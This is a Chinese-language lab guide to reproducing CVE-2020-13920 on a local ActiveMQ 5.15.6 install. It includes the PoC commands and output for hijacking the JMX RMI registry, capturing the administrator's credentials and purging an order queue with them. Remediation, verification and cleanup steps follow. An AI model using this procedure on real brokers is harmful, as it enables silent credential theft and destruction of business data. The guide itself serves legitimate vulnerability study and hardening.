M4(Apple Silicon)· CVE-2020-13920 抓管理员密码 完整操作指南

学习任务

目标:在 M4 芯片的 Mac 上搭起真实 ActiveMQ ​ 环境 + 真实业务场景(下单 → 库存消费),

完整演示"未授权 rebind → 中间人 → 抓到管理员 JMX 密码 → 用偷来的密码清空订单队列",

且管理员全程毫无察觉 (jconsole 照常打开、业务照常跑)。最后给出逐条可执行的修复命令。

预计耗时:30~40 分钟(含装 ActiveMQ 和业务模拟)

配套主手册:《ActiveMQ_JMX_RMI未授权漏洞CVE-2020-13920_小白复现手册.md》


0. 先破一个误区:M4 上不用折腾老 JDK 也能抓到密码

抓密码走的是本机 路径(127.0.0.1),而 RegistryImpl.checkAccess() 对本机来源的 rebind

一直是允许的------不管 JDK 多新。所以:

场景 需要老 JDK(≤8u202)吗 说明
本机 rebind + 抓密码(本指南) ❌ 不需要​ 本机 rebind 在所有 JDK 版本都允许
跨机器远程 rebind ✅ 必需(要 CVE-2019-2684 绕过) 见《Intel Mac 指南》

再补一个硬件事实:macOS 上没有 aarch64 原生的 JDK 8(Temurin / Oracle / Zulu / Corretto 都只发

macOS x64 的 JDK 8,Apple Silicon 靠 Rosetta 2 转译)。ActiveMQ 5.15.6 本身要求 Java 8,

所以跑真 ActiveMQ 这一步要装 x64 JDK 8 + Rosetta;但攻击端 PoC 用 ARM64 原生 JDK 21​ 即可,两边分工。


1. 前置检查

复制代码
uname -m                  # 期望 arm64(M 系列)
sw_vers                   # 看 macOS 版本,需 11 Big Sur 以上
df -h / | tail -1         # 剩余磁盘 ≥ 2GB
命令 含义
uname -m 看 CPU 架构,arm64 = Apple Silicon
sw_vers macOS 专属,打印系统版本(Linux 上对应 cat /etc/os-release)
df -h / 看根分区剩余空间(ActiveMQ + JDK 约 1GB)

2. 装两个 JDK(分工明确)

JDK 21(ARM64 原生)→ 跑攻击端 PoC、jconsole

JDK 8(x64 + Rosetta)→ 跑 ActiveMQ 5.15.6 和业务程序

复制代码
# ① 攻击端:ARM64 原生 JDK 21
brew install --cask temurin@21

# ② 靶机端:x64 JDK 8(ActiveMQ 5.15.x 要求 Java 8)
softwareupdate --install-rosetta --agree-to-license    # 弹窗点"安装"
brew install --cask temurin@8
片段 含义
brew install --cask 装带图形安装器的二进制包(JDK 属此类)
temurin@21 Eclipse Temurin JDK 21,有 macOS aarch64 原生版 ,含 javac 和 jconsole
softwareupdate --install-rosetta 装 Rosetta 2,让 M 系列能跑 x86_64 程序(JDK 8 只有 x64 版)
temurin@8 macOS 上只有 x64 版,会自动经 Rosetta 运行

没装 Homebrew 先装:

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

Apple Silicon 装完要配 PATH:

echo 'eval "$(/opt/homebrew/bin/brew shellenv)"' >> ~/.zprofile && eval "$(/opt/homebrew/bin/brew shellenv)"

验证(两次切换都要看,别只验一个):

复制代码
/usr/libexec/java_home -V        # 列出全部已装 JDK,确认 8 和 21 都在

export JAVA_HOME=$(/usr/libexec/java_home -v 21); export PATH="$JAVA_HOME/bin:$PATH"
java -version                    # 期望 21.x
ls "$JAVA_HOME/bin/jconsole"     # 确认 jconsole 存在(受害者视角要用)

export JAVA_HOME=$(/usr/libexec/java_home -v 1.8); export PATH="$JAVA_HOME/bin:$PATH"
java -version                    # 期望 1.8.0_xxx
javac -version                   # 期望 1.8.0_xxx(没有它说明装的是 JRE)

把切换别名写进配置,后面反复要用:

复制代码
cat >> ~/.zshrc <<'EOF'
export JAVA_21_HOME=$(/usr/libexec/java_home -v 21)
export JAVA_8_HOME=$(/usr/libexec/java_home -v 1.8)
alias jdk21='export JAVA_HOME=$JAVA_21_HOME; export PATH=$JAVA_HOME/bin:$PATH; java -version'
alias jdk8='export JAVA_HOME=$JAVA_8_HOME;  export PATH=$JAVA_HOME/bin:$PATH; java -version'
EOF
source ~/.zshrc
片段 含义
cat >> ~/.zshrc <<'EOF' 内容追加 到 zsh 配置(用 > 会覆盖整个文件,千万别写错)
<<'EOF' ... EOF here-document;引号包住 EOF 表示原样写入,不做变量替换
source ~/.zshrc 重新加载,不用重开终端

3. 安装 ActiveMQ 5.15.6(受影响版本,一步一步)

3.1 下载并解压

复制代码
cd ~/Downloads
curl -fL -O https://archive.apache.org/dist/activemq/5.15.6/apache-activemq-5.15.6-bin.tar.gz
片段 含义
curl -f HTTP 报错就失败退出,不静默存个错误页
-L 跟随跳转(Apache 归档站必跳)
-O 按服务器原文件名保存
复制代码
COPYFILE_DISABLE=1 tar -zxf apache-activemq-5.15.6-bin.tar.gz
sudo mkdir -p /opt
sudo mv apache-activemq-5.15.6 /opt/activemq
sudo xattr -dr com.apple.quarantine /opt/activemq
片段 含义
COPYFILE_DISABLE=1 Mac 专属关键 :阻止 tar 生成 ._xxx AppleDouble 元数据文件。不加会多出一堆隐藏文件,可能让 ActiveMQ 启动脚本行为异常
tar -zxf 解压 gzip 包
sudo mv ... /opt/activemq 挪到固定路径,后面所有命令都基于这个路径
xattr -dr com.apple.quarantine 清 Gatekeeper 隔离标记,否则从网上下载的包会被系统拦("无法验证开发者")

3.2 开 JMX + 配 JMX 密码(模拟"运维为了监控开的口子")

先建密码文件(权限必须 600,否则 JMX 拒绝启动):

复制代码
sudo tee /Users/struggle/Sites/VulnLab/ActiveMQ/activemq/apache-activemq-5.15.6/conf/jmx.access   <<< 'admin readwrite'
sudo tee /opt/activemq/conf/jmx.password <<< 'admin activemq'
sudo chmod 600 jmx.password jmx.access
命令 含义
tee <文件> <<< '内容' 把字符串写入文件(<<< 是 here-string,比 echo | tee 简洁)
jmx.access 定义用户名和权限级别(readwrite / readonly)
jmx.password 定义用户名密码
chmod 600 JMX 强制要求只有属主可读,权限不对会直接启动失败

再编辑启动配置:

复制代码
sudo vi /opt/activemq/bin/env

在 # ACTIVEMQ_SUNJMX_START 那一堆注释行下面 加(Vi 里按 i 进编辑,Esc 后 :wq 保存):

复制代码
# 定义 ActiveMQ 根目录(根据你的实际情况调整)
ACTIVEMQ_HOME="/Users/struggle/Sites/VulnLab/ActiveMQ/activemq/apache-activemq-5.15.6"

# 指定 Java 8 环境 (macOS 特有命令)
JAVA_HOME="$(/usr/libexec/java_home -v 1.8)"

# JMX 配置
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.port=1099"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.rmi.port=1098"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.authenticate=true"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.ssl=false"

# 【关键】修改为正确的实际路径
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.password.file=${ACTIVEMQ_HOME}/conf/jmx.password"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.access.file=${ACTIVEMQ_HOME}/conf/jmx.access"

# RMI 主机名绑定到本地
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Djava.rmi.server.hostname=127.0.0.1"
参数 含义
-Dcom.sun.management.jmxremote 总开关:让 JVM 开 JMX 远程管理
jmxremote.port=1099 RMI 注册表端口(那个"通讯录",漏洞入口)
jmxremote.rmi.port=1098 RMI 数据端口,固定住避免随机端口让防火墙规则失效
authenticate=true 给 JMX 加密码 ------ 注意:这保护的是 JMX,保护不了注册表,漏洞照样成立​
java.rmi.server.hostname=127.0.0.1 对外通告地址;本机复现填 127.0.0.1
JAVA_HOME=...1.8 ActiveMQ 5.15.x 必须跑在 Java 8 上(Rosetta 转译)

不习惯 vi 就换 nano(Ctrl+O 保存、Ctrl+X 退出)。

macOS 是 BSD sed,批量改必须写 sed -i '' 's/a/b/' file (-i 后带空引号),

照搬 Linux 的 sed -i 会报 invalid command mode。

3.3 启动并确认

复制代码
jdk8                                        # 切到 JDK 8(上一步配的别名)
sudo /opt/activemq/bin/activemq start
sleep 25
tail -25 /opt/activemq/data/activemq.log    # 期望看到 Apache ActiveMQ 5.15.6 ... started

确认端口(macOS 没有 ss,用 lsof):

复制代码
lsof -nP -iTCP -sTCP:LISTEN | grep -E '1099|1098|8161|61616'
参数 含义
lsof -n 不做 DNS 反解析,直接显示 IP
-P 不把端口翻译成服务名,显示 1099 而不是 rmiregistry
-iTCP 只看 TCP 连接
-sTCP:LISTEN 只看监听状态的套接字

四个端口都得看到:1099(注册表)、1098(RMI 数据)、8161(Web 控制台)、61616(业务消息)。

用配套脚本确认它是 RMI 注册表:

复制代码
cd ~/Downloads/CVE-2020-13920_PoC/poc
python3 probe_rmi.py 127.0.0.1 1099
# 期望:[+] 127.0.0.1:1099  是 RMI 注册表 | 服务端自报主机名=127.0.0.1 | RMI数据端口=1098

浏览器打开 http://127.0.0.1:8161(admin/admin)能看到控制台 → ActiveMQ 装好了。

点 Queues​ 标签,此时应该是空的(下一步就有消息了)。


4. 真实业务场景模拟:电商下单 → 库存扣减

4.1 场景设定

复制代码
订单系统(Producer) ──► [ActiveMQ 队列 ORDER.QUEUE] ──► 库存服务(Consumer)
   61616 端口投递                                        61616 端口消费
        │                                                      │
        └──────── 业务流量走 OpenWire 61616 ──────────────────┘
                          (与 1099 管理口互不相干)

运维用 jconsole 连 1099 监控队列深度 ──► 被中间人劫持,密码被偷

这个拓扑里最值得体会的一点:业务流走 61616,管理流走 1099,两条路完全独立。

所以中间人挂上去之后,消息照发、订单照消费、业务监控图全是绿的------没人会发现管理连接被劫了。

4.2 编译并启动业务程序

复制代码
cd ~/Downloads/CVE-2020-13920_PoC/poc/biz
chmod +x run_biz_demo.sh
./run_biz_demo.sh

脚本会自动编译并弹出两个终端窗口。手工等价命令如下(理解每一步):

复制代码
jdk8
cd ~/Downloads/CVE-2020-13920_PoC/poc/biz
javac -encoding UTF-8 -cp /opt/activemq/activemq-all-5.15.6.jar OrderProducer.java OrderConsumer.java
javac -encoding UTF-8 JmxBrokerOps.java      # 纯 JDK 标准库,不需要 jar

# 窗口 A:订单系统,每 2 秒一笔订单
java -cp .:/opt/activemq/activemq-all-5.15.6.jar OrderProducer tcp://127.0.0.1:61616 ORDER.QUEUE 2

# 窗口 B:库存服务,实时消费
java -cp .:/opt/activemq/activemq-all-5.15.6.jar OrderConsumer tcp://127.0.0.1:61616 ORDER.QUEUE
片段 含义
-cp /opt/activemq/activemq-all-5.15.6.jar 把 ActiveMQ 客户端 jar 加入类路径(含 JMS API + OpenWire 实现)
OrderProducer ... ORDER.QUEUE 2 三个参数:broker 地址、队列名、间隔秒数
OrderProducer.java 里 DeliveryMode.PERSISTENT 持久化投递,模拟真实订单"不能丢"的语义

正常现象:

复制代码
[订单系统] ✔ 投递 SO20260928-0001  {"orderId":"SO20260928-0001","userId":"U10086",...}
[库存服务] ✔ 收到订单 SO20260928-0001 → 库存扣减 SKU-1001 x1,通知服务已触发

浏览器刷新 http://127.0.0.1:8161 → Queues → ORDER.QUEUE 能看到 Number Of Pending Messages​ 在涨落。


5. 攻击者登场:未授权 rebind + 抓密码

保持业务两个窗口继续跑。

5.1 窗口 C:挂上恶意 JMX(攻击机用 JDK 21,ARM64 原生)

复制代码
jdk21
cd ~/Downloads/CVE-2020-13920_PoC/poc
javac -encoding UTF-8 *.java
java CVE202013920Poc 127.0.0.1 1099 127.0.0.1 8888

期望输出:

复制代码
[*] 已连上注册表 127.0.0.1:1099
[*] 现有登记项:[jmxrmi]
[*] 原始 jmxrmi -> RMIServerImpl_Stub[...]
[*] 已把真服务备份为 jmxrmi-backup
[*] 恶意 JMX 服务已导出在 127.0.0.1:8888

[+] rebind 成功,注册表没做任何身份验证!
[+] 结论:CVE-2020-13920 漏洞成立(目标可被中间人)

这一行 rebind 成功,注册表没做任何身份验证! 就是漏洞成立的判据。

窗口别关,它正蹲在 8888 端口等管理员上钩。

JDK 21 连 JDK 8 的注册表跨版本是通的(JRMP 协议兼容)。

万一报反序列化/类找不到,就把攻击端也切到 jdk8 再跑一遍(Rosetta 下也能跑)。

5.2 窗口 D:管理员(受害者视角)用 jconsole 连

复制代码
jdk21
"$JAVA_HOME/bin/jconsole" service:jmx:rmi:///jndi/rmi://127.0.0.1:1099/jmxrmi

用户名 admin、密码 activemq → 连接。

连上后点 MBeans ​ → org.apache.activemq → Broker → localhost → Queue → ORDER.QUEUE,

能看到 QueueSize、EnqueueCount、DequeueCount 实时变化------运维日常监控队列就是这么看的。

5.3 看结果

回到窗口 C,会立刻打印:

复制代码
[*] 客户端来问版本号了,转发给真服务(伪装成功)

##########  抓到凭据! ##########
[+] credentials 类型 : [Ljava.lang.String;
[+] credentials 内容 : [admin, activemq]
###############################

[+] 已把真连接交还给客户端,管理员那边一切正常(无感中间人)

而窗口 D 的 jconsole 一切正常 ,订单系统和库存服务窗口也照常在跑。

这就是漏洞最可怕的地方:管理员加了密码、用了官方工具、业务指标全绿,密码却已经到了攻击者手里。


6. 危害具象化:用偷来的密码清空订单队列

光说"泄露凭据"太抽象,这一步让你亲眼看到业务损失。

复制代码
jdk21
cd ~/Downloads/CVE-2020-13920_PoC/poc/biz

# ① 先看队列情况(攻击者踩点)
java JmxBrokerOps 127.0.0.1 1099 admin activemq

输出示例:

复制代码
[+] 用偷来的凭据登录成功:admin / activemq
[+] Broker: localhost  版本 5.15.6  运行时长 3 minutes
[+] 内存使用率 0%  存储使用率 0%

[*] 队列清单:
    ORDER.QUEUE      堆积=12   累计入队=47   累计出队=35

# ② 执行清空(这是"删库"级别的破坏)
java JmxBrokerOps 127.0.0.1 1099 admin activemq purge ORDER.QUEUE

[+] 用偷来的凭据登录成功:admin / activemq
[*] 队列清单:
    ORDER.QUEUE      堆积=12   累计入队=47   累计出队=35
    >>> 已清空队列 ORDER.QUEUE(12 条消息被删除)

[!] 危害已发生:业务消息被管理员权限清空。
[!] 去看 OrderConsumer 那个窗口 ------ 它不会再收到任何订单。
[!] 真实后果:用户已付款,但库存未扣减、未发货。

现在去看"库存服务"窗口 :消息流断了。再去 8161 控制台看 ORDER.QUEUE,堆积数归零。

真实后果对应到业务:这些是已支付订单。用户付了钱,库存没扣、货没发、通知没触发。

如果队列里是金融流水或对账消息,就是直接的生产事故。

而且 JMX 的 readwrite 权限远不止 purge:还能删队列、改 Broker 配置、伪造消息;

有 MLet 的话还能从远程 URL 加载类 → RCE(那条线是 CVE-2020-11998,CVSS 9.8)。

对照实验(加深理解) :把 authenticate=true 改成 false 重启,再跑一次 PoC,

攻击端会打印 credentials 类型 : null(目标 JMX 没开认证)。

这说明:JMX 没开认证时,攻击者根本不用做中间人,直接连上去就能操作 MBean。

中间人的价值恰恰在于:对方开了认证你也拿得到密码。


7. 修复建议(按优先级,逐条附命令)

优先级 措施 一句话理由
★★★ 升级 ActiveMQ 到 ≥ 5.15.12(建议 5.15.16+) 官方修复版,从根上补齐注册表鉴权
★★★ 关闭不需要的 JMX​ 1099 是纯运维口,不用就别开,端口消失即风险消失
★★☆ 必须用 JMX 就开认证 + SSL + 只听本机 缩小暴露面(注意:这挡不住 rebind,只能挡后续直连)
★★☆ 网络层隔离 1099 和 1098​ 只封 1099 没用,JMX 数据走 1098
★☆☆ 监控与定期复查 及时发现 rebind 痕迹

7.1 ★★★ 方案一:彻底关闭 JMX(最推荐,业务用不到就别开)

复制代码
# ① 停服务
sudo /opt/activemq/bin/activemq stop

# ② 注释掉所有 JMX 启动参数(BSD sed,-i 后必须有空引号)
sudo sed -i '' 's/^ACTIVEMQ_SUNJMX_START="\$ACTIVEMQ_SUNJMX_START -Dcom/#&/' /opt/activemq/bin/env

# ③ 确认改对了(这些行应该都以 # 开头)
grep -n "ACTIVEMQ_SUNJMX_START" /opt/activemq/bin/env

# ④ 同步把 activemq.xml 的连接器关掉
sudo sed -i '' 's/createConnector="true"/createConnector="false"/' /opt/activemq/conf/activemq.xml
grep -n "createConnector" /opt/activemq/conf/activemq.xml

# ⑤ 启动并确认端口消失
jdk8
sudo /opt/activemq/bin/activemq start
sleep 20
lsof -nP -iTCP -sTCP:LISTEN | grep -E '1099|1098'   # 期望:无输出
lsof -nP -iTCP -sTCP:LISTEN | grep -E '8161|61616'  # 期望:业务端口仍在(服务没被搞坏)
片段 含义
sed -i '' 's/^.../#&/' macOS BSD sed;& 代表"匹配到的整行",即在这些行首加 #
grep -n 带行号显示,方便肉眼确认改动位置
最后两条 lsof 一个确认风险端口没了,一个确认业务没被误伤

7.2 ★★★ 方案二:升级 ActiveMQ 到 5.15.16

复制代码
# ① 停服务 + 全量备份(conf 和 data 必须留,否则配置和消息全丢)
sudo /opt/activemq/bin/activemq stop
sudo cp -a /opt/activemq /opt/activemq.bak.$(date +%Y%m%d)

# ② 下载新版本(5.15.16 同时修掉 CVE-2020-13920 / CVE-2020-11998 / CVE-2023-46604)
cd ~/Downloads
curl -fL -O https://archive.apache.org/dist/activemq/5.15.16/apache-activemq-5.15.16-bin.tar.gz
COPYFILE_DISABLE=1 tar -zxf apache-activemq-5.15.16-bin.tar.gz

# ③ 保留旧配置,只换程序文件(不要无脑覆盖 conf)
sudo cp -a ~/Downloads/apache-activemq-5.15.16/lib /opt/activemq/
sudo cp -a ~/Downloads/apache-activemq-5.15.16/activemq-all-5.15.16.jar /opt/activemq/ 2>/dev/null || true
# 如果旧版 conf 有自定义 broker 配置,按新版 activemq.xml 的差别手工合并,别直接覆盖

# ④ 启动并验证版本
jdk8
sudo /opt/activemq/bin/activemq start
sleep 25
ls /opt/activemq/lib/activemq-broker-*.jar     # 期望看到 5.15.16
tail -20 /opt/activemq/data/activemq.log        # 期望看到 5.15.16 ... started
片段 含义
cp -a 归档复制:保留权限、符号链接、时间戳(备份首选)
$(date +%Y%m%d) 命令替换,给备份目录加日期后缀
只换 lib 不换 conf 保守做法:避免新版配置覆盖掉你的业务定制(队列、持久化、连接器)

升级后必须重跑第 8 节的自检:确认 rebind 已失效。

生产环境先在测试环境验证兼容性(5.15.x 内部升级一般平滑,但 KahaDB 索引、自定义 transportConnector 要留意)。

7.3 ★★☆ 方案三:必须用 JMX 就开认证 + SSL + 只听本机

⚠️ 诚实提示 :这些措施挡不住 rebind 本身(注册表无认证是设计缺陷),

它们的作用是"即便注册表被劫持,攻击者也拿不到可用凭据/连不上后续服务",属于纵深防御。

根本手段仍是升级或关闭 JMX。

复制代码
# ① 密码文件(权限必须 600,否则 JMX 拒绝启动)
sudo tee /opt/activemq/conf/jmx.access   <<< 'admin readwrite'
sudo tee /opt/activemq/conf/jmx.password <<< 'admin 换成强密码!2024'
sudo chmod 600 /opt/activemq/conf/jmx.password /opt/activemq/conf/jmx.access
sudo chown root:wheel /opt/activemq/conf/jmx.password /opt/activemq/conf/jmx.access

# ② 改启动参数:开认证 + 开 SSL + 只听本机
sudo vi /opt/activemq/bin/env

把这些行改成:

复制代码
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.port=1099"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.rmi.port=1098"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.authenticate=true"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.ssl=true"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.ssl.need.client.auth=true"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.password.file=/opt/activemq/conf/jmx.password"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Dcom.sun.management.jmxremote.access.file=/opt/activemq/conf/jmx.access"
ACTIVEMQ_SUNJMX_START="$ACTIVEMQ_SUNJMX_START -Djava.rmi.server.hostname=127.0.0.1"

# ③ 重启并验证
sudo /opt/activemq/bin/activemq stop && sleep 5
jdk8 && sudo /opt/activemq/bin/activemq start
sleep 20
lsof -nP -iTCP:1099 -sTCP:LISTEN    # 期望只看到 127.0.0.1:1099,不是 *:1099
参数 含义
authenticate=true 客户端必须提供用户名密码
ssl=true + ssl.need.client.auth=true 双向 TLS:既加密凭据传输(防 sniff),又校验客户端证书
java.rmi.server.hostname=127.0.0.1 只对本机通告管理地址,外网拿不到可达的 stub
lsof 里 127.0.0.1:1099 vs *:1099 前者只监听回环(安全),后者监听所有网卡(暴露)

7.4 ★★☆ 网络层隔离(macOS 用 pfctl,不是 iptables)

⚠️ 又一个诚实提示:本机场景下封端口挡不住本机进程的 rebind(本机流量不走网卡过滤)。

这条主要用在生产环境 / 远程场景(以及你在 Intel 那台机器上跑 Docker 靶机时)。

macOS 的包过滤是 pf(packet filter),Linux 的 iptables 在这里没有:

复制代码
# ① 备份现有 pf 配置
sudo cp /etc/pf.conf /etc/pf.conf.bak

# ② 写一条独立的 anchor 规则(1099 和 1098 都要封)
cat <<'EOF' | sudo tee /etc/pf.anchors/jmxblock
block drop in proto tcp from any to any port 1099
block drop in proto tcp from any to any port 1098
EOF

# ③ 在 pf.conf 里挂上这个 anchor(插在 rdr-anchor 那几行之前)
sudo sed -i '' '/^rdr-anchor/a\
anchor "jmxblock" load anchor "jmxblock" from "/etc/pf.anchors/jmxblock"
' /etc/pf.conf
grep -n "jmxblock" /etc/pf.conf

# ④ 启用(并让规则生效)
sudo pfctl -e -f /etc/pf.conf 2>/dev/null || sudo pfctl -f /etc/pf.conf
sudo pfctl -s rules | grep 1099     # 确认规则已加载

# ⑤ 撤销(实验完务必恢复,否则可能影响其它网络功能)
sudo pfctl -d                        # 关闭 pf
sudo cp /etc/pf.conf.bak /etc/pf.conf
命令 含义
/etc/pf.anchors/jmxblock pf 的自定义规则文件(标准做法,比直接改 pf.conf 干净)
sed -i '' '/^rdr-anchor/a\ ...' BSD sed 在匹配行后 追加内容;\ 和换行是它的多行语法
pfctl -e -f -e 启用 pf、-f 载入配置文件
pfctl -s rules 显示当前生效规则
pfctl -d 禁用 pf(实验完必须恢复,pf 开着会影响 macOS 部分网络行为)

Docker 靶机场景:容器层面用 -p 127.0.0.1:1099:1099 只映射到回环,

或在 docker run 时干脆不映射 1099,用 docker exec 进去管理。

7.5 ★☆☆ 监控与审计

复制代码
# 定期看 jmxrmi 指向哪(指向陌生 IP = 正在被劫持)
cd ~/Downloads/CVE-2020-13920_PoC/poc
java RegistryDump 127.0.0.1 1099

# 定期确认 1099 是否还开着
lsof -nP -iTCP:1099 -sTCP:LISTEN

# 看 ActiveMQ 日志里有没有异常连接
grep -iE "jmx|rmi|1099" /opt/activemq/data/activemq.log | tail -20

要告警的信号 :jmxrmi 指向变成了陌生 IP;注册表里出现 jmxrmi-backup 之类怪名字;

1099 出现来自非监控网段的连接。


8. 修复后自检(一条命令,四项检查)

复制代码
cd ~/Downloads/CVE-2020-13920_PoC/poc
chmod +x verify_fix.sh
./verify_fix.sh 127.0.0.1 1099

脚本依次检查:

# 检查项 期望结果
① 1099 / 1098 是否还在监听 不在监听(关了 JMX)
② ActiveMQ 版本 ≥ 5.15.12(建议 5.15.16+)
③ 重跑 rebind PoC 被拒绝 / 连不上​
④ jmxrmi 指向 本机 RMI 数据端口,非陌生 IP​

手工等价命令:

复制代码
# ① 端口
lsof -nP -iTCP -sTCP:LISTEN | grep -E '1099|1098'     # 期望无输出

# ② 版本
ls /opt/activemq/lib/activemq-broker-*.jar            # 期望含 5.15.16

# ③ 重跑攻击(期望被拒或连不上)
java CVE202013920Poc 127.0.0.1 1099 127.0.0.1 8888
# 期望:[-] rebind 被拒绝 ... 或 [-] 失败:... ConnectException

# ④ 探测
python3 probe_rmi.py 127.0.0.1 1099                   # 期望:连不上或超时

判据 :rebind 依然成功 = 没修好,回到第 7 节继续整改。


9. 善后清理(实验结束务必执行)

复制代码
# ① 停业务程序
pkill -f OrderProducer
pkill -f OrderConsumer

# ② 停攻击端
pkill -f CVE202013920Poc
pkill -f FakeActiveMQJmx
pkill -f jconsole
lsof -ti :8888 | xargs kill -9

# ③ 原地恢复 jmxrmi(不想重启 ActiveMQ 就用这个)
cd ~/Downloads/CVE-2020-13920_PoC/poc
java RestoreJmxrmi 127.0.0.1 1099
java RegistryDump 127.0.0.1 1099      # 确认 jmxrmi 已回到真服务

# ④ 恢复 pf 配置(如果改过)
sudo pfctl -d
sudo cp /etc/pf.conf.bak /etc/pf.conf

# ⑤ 停 ActiveMQ 或保持运行
sudo /opt/activemq/bin/activemq stop

# ⑥ 清编译产物
rm -f ~/Downloads/CVE-2020-13920_PoC/poc/*.class
rm -f ~/Downloads/CVE-2020-13920_PoC/poc/biz/*.class
片段 含义
pkill -f 按完整命令行匹配进程名
lsof -ti :8888 | xargs kill -9 按端口强杀(Mac 没有 fuser -k,用这个替代)
RestoreJmxrmi 用 PoC 留下的 jmxrmi-backup 把注册表改回真服务

rebind 只改注册表内存,ActiveMQ 一重启就自动恢复,不留文件痕迹。


10. M4 / macOS 排障对照表

现象 原因 解决
javac: command not found 装的是 JRE,或 PATH 没指向 JDK 装 temurin@21/temurin@8(cask 带 javac);export PATH="$JAVA_HOME/bin:$PATH"
java -version 不是刚装的版本 Mac 多版本靠 java_home挑选 jdk8 / jdk21 别名,或 export JAVA_HOME=$(/usr/libexec/java_home -v 1.8)
Unable to locate a Java Runtime JDK 没被系统识别 确认装在 /Library/Java/JavaVirtualMachines/;跑 /usr/libexec/java_home -V
ActiveMQ 起不来,日志报 Java 版本 没用 JDK 8 启动 jdk8 后再 activemq start;检查 bin/env 里的 JAVA_HOME
jconsole 打不开 / 闪退 路径不对或被 Gatekeeper 拦 "$JAVA_HOME/bin/jconsole";系统设置 → 隐私与安全性 → 仍要打开
rebind 被拒绝 ... non-local host 目标地址不是 127.0.0.1 本机演示目标必须填 127.0.0.1;跨机器请看《Intel Mac 指南》
JMX 启动失败 Password file read access must be restricted jmx.password 权限太松 sudo chmod 600 /opt/activemq/conf/jmx.password
Address already in use (1099) 上次的靶场没关干净 lsof -ti :1099 | xargs kill -9
解压后一堆 ._xxx 文件 macOS AppleDouble 元数据 加 COPYFILE_DISABLE=1 重新解压
运行报"无法验证开发者" Gatekeeper 隔离标记 sudo xattr -dr com.apple.quarantine /opt/activemq
sed: invalid command mode macOS 是 BSD sed 写 sed -i '' 's/a/b/' file,-i 后必须有空引号
ss: command not found macOS 没有 iproute2 用 lsof -nP -iTCP -sTCP:LISTEN,或 brew install iproute2mac
iptables: command not found macOS 没有 iptables 用 pfctl(见 7.4)
Producer/Consumer 编译报找不到 JMS 类 没加 -cp javac -cp /opt/activemq/activemq-all-5.15.6.jar ...
抓到凭据但 jconsole 报错断开 转发链路断了 看攻击端是否打印"真服务拒绝了这次登录"------多半是 JMX 密码不对
想装 aarch64 原生 JDK 8 不存在 macOS 没有 ARM64 版 JDK 8,只能 x64 + Rosetta

11. 报告里怎么写

项 结论
漏洞编号 CVE-2020-13920(CWE-306,CVSS 3.1 = 5.9 中危)
组件版本 ActiveMQ 5.15.6 < 5.15.12;JDK 8(本机复现场景)
复现方式 本机未授权 rebind(LocateRegistry.createRegistry() 创建的注册表无身份校验)
关键证据 1 rebind("jmxrmi", 恶意服务) 未抛 AccessException,注册表无鉴权
关键证据 2 管理员 jconsole 输入 admin/activemq 后,攻击端成功捕获 [admin, activemq]
关键证据 3 管理员 jconsole 功能正常、业务消息收发正常 → 透明中间人,无任何异常提示​
关键证据 4 用偷来的密码执行 purge,队列 12 条已支付订单消息被清空,Consumer 收不到 → 业务损失具象化​
成立条件 版本 < 5.15.12 + 开了 JMX + 1099 可达(本机复现不要求 JDK ≤8u202)
升级危害链 凭据泄露 → 接管 Broker(改配置/删队列/伪造消息)→ MLet → RCE → 横向移动
修复 升级 ≥5.15.12(建议 5.15.16+);或关闭 JMX;或开认证 + SSL + 只听本机;网络隔离 1099 和 1098​
自检 ./verify_fix.sh 四项全绿

12. 合规提示

以上操作仅限本机自建靶场 或已书面授权的环境。

对未授权的 ActiveMQ 实例执行 rebind、劫持管理连接、抓取凭据、清空队列,

可能违反《网络安全法》《刑法》相关规定。

复现完成后请按第 9 节清理进程、pf 配置与编译产物,并按公司要求提交复测报告。

相关推荐
加载力科技13 小时前
硬盘咔咔响是坏盘信号!赶在数据丢失前克隆换盘:不重装系统、不丢文件
windows·嵌入式硬件·系统安全·策略模式·命令模式·硬盘
geovindu17 天前
java: Strategy Pattern
java·开发语言·后端·设计模式·策略模式·行为模式
geovindu18 天前
CSharp: Strategy Pattern
开发语言·后端·c#·.net·.netcore·策略模式·行为模式
沪上企服通20 天前
代账数据的可移植性设计:开放接口、账套导出与 exit strategy 工程笔记(上海 5 家样本对照)
笔记·策略模式
码匠许师傅20 天前
【设计模式精讲】26.策略模式(Strategy)
c++·设计模式·策略模式·uml
++==23 天前
基于策略模式的应用层协议支持
策略模式
Java后端的Ai之路23 天前
23、Python - 策略模式
linux·python·策略模式
程序员夏洛25 天前
什么是策略模式?一般用在什么场景?
策略模式
user_admin_god1 个月前
数据采集/交换系统设计经验
spring boot·spring·策略模式